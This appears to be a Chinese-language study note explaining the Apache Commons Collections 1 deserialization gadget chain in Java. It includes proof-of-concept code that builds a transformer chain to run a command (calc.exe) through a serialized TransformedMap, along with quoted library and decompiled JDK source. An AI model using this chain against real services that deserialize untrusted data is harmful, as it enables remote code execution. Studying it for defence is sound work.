POC
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}
涉及到的类:
- org/apache/commons/collections/Transformer.java
public interface Transformer {
public Object transform(Object input);
}
使用匿名类Transformer创建数组,包含如下四个类实例
均实现可序列化接口,每个类都有transform方法
- org/apache/commons/collections/functors/ConstantTransformer.java
public class ConstantTransformer implements Transformer, Serializable {
/** Serial version UID */
static final long serialVersionUID = 6374440726369055124L;
/** Returns null each time */
public static final Transformer NULL_INSTANCE = new ConstantTransformer(null);
/** The closures to call in turn */
private final Object iConstant;
public static Transformer getInstance(Object constantToReturn) {
if (constantToReturn == null) {
return NULL_INSTANCE;
}
return new ConstantTransformer(constantToReturn);
}
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
public Object getConstant() {
return iConstant;
}
}
这个类返回iConstant对象
- org/apache/commons/collections/functors/InvokerTransformer.java
package org.apache.commons.collections.functors;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
public class InvokerTransformer implements Transformer, Serializable {
/** The serial version */
static final long serialVersionUID = -8653385846894047688L;
/** The method name to call */
private final String iMethodName;
/** The array of reflection parameter types */
private final Class[] iParamTypes;
/** The array of reflection arguments */
private final Object[] iArgs;
public static Transformer getInstance(String methodName) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
return new InvokerTransformer(methodName);
}
public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) {
if (methodName == null) {
throw new IllegalArgumentException("The method to invoke must not be null");
}
if (((paramTypes == null) && (args != null))
|| ((paramTypes != null) && (args == null))
|| ((paramTypes != null) && (args != null) && (paramTypes.length != args.length))) {
throw new IllegalArgumentException("The parameter types must match the arguments");
}
if (paramTypes == null || paramTypes.length == 0) {
return new InvokerTransformer(methodName);
} else {
paramTypes = (Class[]) paramTypes.clone();
args = (Object[]) args.clone();
return new InvokerTransformer(methodName, paramTypes, args);
}
}
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
InvokerTransformer类的transform方法中
return method.invoke(input, iArgs);
input是传入的object如果传为Runtime的Class对象(利用ConstantTransformer);而iMethodName, iParamTypes是InvokerTransformer类的构造函数进行初始化,可控,则可以利用反射调用任何类的方法并返回
Transformer[] transformers数组中,三个InvokerTransformer对象属性:
- org/apache/commons/collections/functors/ChainedTransformer.java
package org.apache.commons.collections.functors;
import java.io.Serializable;
import java.util.Collection;
import java.util.Iterator;
import org.apache.commons.collections.Transformer;
public class ChainedTransformer implements Transformer, Serializable {
/** Serial version UID */
static final long serialVersionUID = 3514945074733160196L;
/** The transformers to call in turn */
private final Transformer[] iTransformers;
public static Transformer getInstance(Transformer[] transformers) {
FunctorUtils.validate(transformers);
if (transformers.length == 0) {
return NOPTransformer.INSTANCE;
}
transformers = FunctorUtils.copy(transformers);
return new ChainedTransformer(transformers);
}
public static Transformer getInstance(Collection transformers) {
if (transformers == null) {
throw new IllegalArgumentException("Transformer collection must not be null");
}
if (transformers.size() == 0) {
return NOPTransformer.INSTANCE;
}
// convert to array like this to guarantee iterator() ordering
Transformer[] cmds = new Transformer[transformers.size()];
int i = 0;
for (Iterator it = transformers.iterator(); it.hasNext();) {
cmds[i++] = (Transformer) it.next();
}
FunctorUtils.validate(cmds);
return new ChainedTransformer(cmds);
}
public static Transformer getInstance(Transformer transformer1, Transformer transformer2) {
if (transformer1 == null || transformer2 == null) {
throw new IllegalArgumentException("Transformers must not be null");
}
Transformer[] transformers = new Transformer[] { transformer1, transformer2 };
return new ChainedTransformer(transformers);
}
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
public Transformer[] getTransformers() {
return iTransformers;
}
}
ChainedTransformer的transform方法遍历每个元素,返回结果作为下一个参数传入transform方法
这是Transformer数组作为构造参数传入ChainedTransformer并实例化:
然后就是实例HashMap为innermap并put
接着将innermap和transformerChain传入TransformedMap.decorate
TransformedMap.decorate(innerMap, null, transformerChain);
(等会延长链时用到这个类)然后传给TransformedMap的构造函数
现在可以编写一下:
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//写到文件
FileOutputStream fp = new FileOutputStream("out.ser");
ObjectOutputStream fout = new ObjectOutputStream(fp);
fout.writeObject(transformerChain);
//服务器读取文件
FileInputStream fi =new FileInputStream("out.ser");
ObjectInputStream fin = new ObjectInputStream(fi);
//反序列化,转成ChainedTransformer格式,调用transform函数
Transformer transformerChain_now = (ChainedTransformer) fin.readObject();
transformerChain_now.transform(null);
}
上面的代码有两步操作,转换类型和调用transform函数
很明显服务器没有这样的代码,需要延长这个链
- org/apache/commons/collections/map/TransformedMap.java
package org.apache.commons.collections.map;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Iterator;
import java.util.Map;
import org.apache.commons.collections.Transformer;
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {
/** Serialization version */
private static final long serialVersionUID = 7023152376788900464L;
/** The transformer to use for the key */
protected final Transformer keyTransformer;
/** The transformer to use for the value */
protected final Transformer valueTransformer;
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
out.writeObject(map);
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
map = (Map) in.readObject();
}
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
protected Map transformMap(Map map) {
Map result = new LinkedMap(map.size());
for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
Map.Entry entry = (Map.Entry) it.next();
result.put(transformKey(entry.getKey()), transformValue(entry.getValue()));
}
return result;
}
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
protected boolean isSetValueChecking() {
return (valueTransformer != null);
}
//-----------------------------------------------------------------------
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
public void putAll(Map mapToCopy) {
mapToCopy = transformMap(mapToCopy);
getMap().putAll(mapToCopy);
}
}
他将封装成map并自动执行
这样就从调用transform函数延伸到修改Map的值
再一次修改代码(不太会利用)
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//payload序列化写入文件,模拟网络传输
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(outerMap);
//2.服务端接受反序列化,出发漏洞
//读取文件,反序列化,模拟网络传输
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
//服务端反序列化成Map格式,再调用transform函数
Map outerMap_now = (Map)fin.readObject();
//2.1可以直接map添加新值,触发漏洞
//outerMap_now.put("123", "123");
//2.2也可以获取map键值对,修改value,value为value,foobar,触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
然后上面的触发条件是传入的序列化内容反序列化为map,然后要修改他的值。
现实中Commons Collections + AnnotationInvocationHandler 组件非常经典
Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("a");
可以达到Runtime.getRuntime().exec('xxxx');的效果
而这就是模拟jdk1.7 AnnotationInvocationHandler组件的readObject函数触发执行的过程,所以现在只要服务器执行readObject函数就命令执行了
sun.reflect.annotation.AnnotationInvocationHandler类在jre1.7的rt.jar内
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package sun.reflect.annotation;
import java.io.IOException;
import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.annotation.Annotation;
import java.lang.annotation.AnnotationFormatError;
import java.lang.annotation.IncompleteAnnotationException;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Array;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.security.AccessController;
import java.security.PrivilegedAction;
import java.util.Arrays;
import java.util.Iterator;
import java.util.Map;
import java.util.Map.Entry;
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
private Object cloneArray(Object var1) {
Class var2 = var1.getClass();
if (var2 == byte[].class) {
byte[] var6 = (byte[])((byte[])var1);
return var6.clone();
} else if (var2 == char[].class) {
char[] var5 = (char[])((char[])var1);
return var5.clone();
} else if (var2 == double[].class) {
double[] var4 = (double[])((double[])var1);
return var4.clone();
} else if (var2 == float[].class) {
float[] var11 = (float[])((float[])var1);
return var11.clone();
} else if (var2 == int[].class) {
int[] var10 = (int[])((int[])var1);
return var10.clone();
} else if (var2 == long[].class) {
long[] var9 = (long[])((long[])var1);
return var9.clone();
} else if (var2 == short[].class) {
short[] var8 = (short[])((short[])var1);
return var8.clone();
} else if (var2 == boolean[].class) {
boolean[] var7 = (boolean[])((boolean[])var1);
return var7.clone();
} else {
Object[] var3 = (Object[])((Object[])var1);
return var3.clone();
}
}
private String toStringImpl() {
StringBuilder var1 = new StringBuilder(128);
var1.append('@');
var1.append(this.type.getName());
var1.append('(');
boolean var2 = true;
Iterator var3 = this.memberValues.entrySet().iterator();
while(var3.hasNext()) {
Entry var4 = (Entry)var3.next();
if (var2) {
var2 = false;
} else {
var1.append(", ");
}
var1.append((String)var4.getKey());
var1.append('=');
var1.append(memberValueToString(var4.getValue()));
}
var1.append(')');
return var1.toString();
}
private static String memberValueToString(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.toString();
} else if (var1 == byte[].class) {
return Arrays.toString((byte[])((byte[])var0));
} else if (var1 == char[].class) {
return Arrays.toString((char[])((char[])var0));
} else if (var1 == double[].class) {
return Arrays.toString((double[])((double[])var0));
} else if (var1 == float[].class) {
return Arrays.toString((float[])((float[])var0));
} else if (var1 == int[].class) {
return Arrays.toString((int[])((int[])var0));
} else if (var1 == long[].class) {
return Arrays.toString((long[])((long[])var0));
} else if (var1 == short[].class) {
return Arrays.toString((short[])((short[])var0));
} else {
return var1 == boolean[].class ? Arrays.toString((boolean[])((boolean[])var0)) : Arrays.toString((Object[])((Object[])var0));
}
}
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] var2 = this.getMemberMethods();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
Method var5 = var2[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1);
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
}
if (!memberValueEquals(var7, var8)) {
return false;
}
}
return true;
}
}
private AnnotationInvocationHandler asOneOfUs(Object var1) {
if (Proxy.isProxyClass(var1.getClass())) {
InvocationHandler var2 = Proxy.getInvocationHandler(var1);
if (var2 instanceof AnnotationInvocationHandler) {
return (AnnotationInvocationHandler)var2;
}
}
return null;
}
private static boolean memberValueEquals(Object var0, Object var1) {
Class var2 = var0.getClass();
if (!var2.isArray()) {
return var0.equals(var1);
} else if (var0 instanceof Object[] && var1 instanceof Object[]) {
return Arrays.equals((Object[])((Object[])var0), (Object[])((Object[])var1));
} else if (var1.getClass() != var2) {
return false;
} else if (var2 == byte[].class) {
return Arrays.equals((byte[])((byte[])var0), (byte[])((byte[])var1));
} else if (var2 == char[].class) {
return Arrays.equals((char[])((char[])var0), (char[])((char[])var1));
} else if (var2 == double[].class) {
return Arrays.equals((double[])((double[])var0), (double[])((double[])var1));
} else if (var2 == float[].class) {
return Arrays.equals((float[])((float[])var0), (float[])((float[])var1));
} else if (var2 == int[].class) {
return Arrays.equals((int[])((int[])var0), (int[])((int[])var1));
} else if (var2 == long[].class) {
return Arrays.equals((long[])((long[])var0), (long[])((long[])var1));
} else if (var2 == short[].class) {
return Arrays.equals((short[])((short[])var0), (short[])((short[])var1));
} else {
assert var2 == boolean[].class;
return Arrays.equals((boolean[])((boolean[])var0), (boolean[])((boolean[])var1));
}
}
private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AnnotationInvocationHandler.this.validateAnnotationMethods(var1);
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
}
return this.memberMethods;
}
private void validateAnnotationMethods(Method[] var1) {
boolean var2 = true;
Method[] var3 = var1;
int var4 = var1.length;
int var5 = 0;
while(var5 < var4) {
Method var6 = var3[var5];
if (var6.getModifiers() == 1025 && var6.getParameterTypes().length == 0 && var6.getExceptionTypes().length == 0) {
Class var7 = var6.getReturnType();
if (var7.isArray()) {
var7 = var7.getComponentType();
if (var7.isArray()) {
var2 = false;
break;
}
}
if ((!var7.isPrimitive() || var7 == Void.TYPE) && var7 != String.class && var7 != Class.class && !var7.isEnum() && !var7.isAnnotation()) {
var2 = false;
break;
}
String var8 = var6.getName();
if ((!var8.equals("toString") || var7 != String.class) && (!var8.equals("hashCode") || var7 != Integer.TYPE) && (!var8.equals("annotationType") || var7 != Class.class)) {
++var5;
continue;
}
var2 = false;
break;
}
var2 = false;
break;
}
if (!var2) {
throw new AnnotationFormatError("Malformed method on an annotation type");
}
}
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
private static int memberValueHashCode(Object var0) {
Class var1 = var0.getClass();
if (!var1.isArray()) {
return var0.hashCode();
} else if (var1 == byte[].class) {
return Arrays.hashCode((byte[])((byte[])var0));
} else if (var1 == char[].class) {
return Arrays.hashCode((char[])((char[])var0));
} else if (var1 == double[].class) {
return Arrays.hashCode((double[])((double[])var0));
} else if (var1 == float[].class) {
return Arrays.hashCode((float[])((float[])var0));
} else if (var1 == int[].class) {
return Arrays.hashCode((int[])((int[])var0));
} else if (var1 == long[].class) {
return Arrays.hashCode((long[])((long[])var0));
} else if (var1 == short[].class) {
return Arrays.hashCode((short[])((short[])var0));
} else {
return var1 == boolean[].class ? Arrays.hashCode((boolean[])((boolean[])var0)) : Arrays.hashCode((Object[])((Object[])var0));
}
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}
sun包沒有源码,字节流如上,可以在openjdk找到对应版本的源码
https://hg.openjdk.java.net/jdk7/jdk7/jdk/log?rev=AnnotationInvocationHandler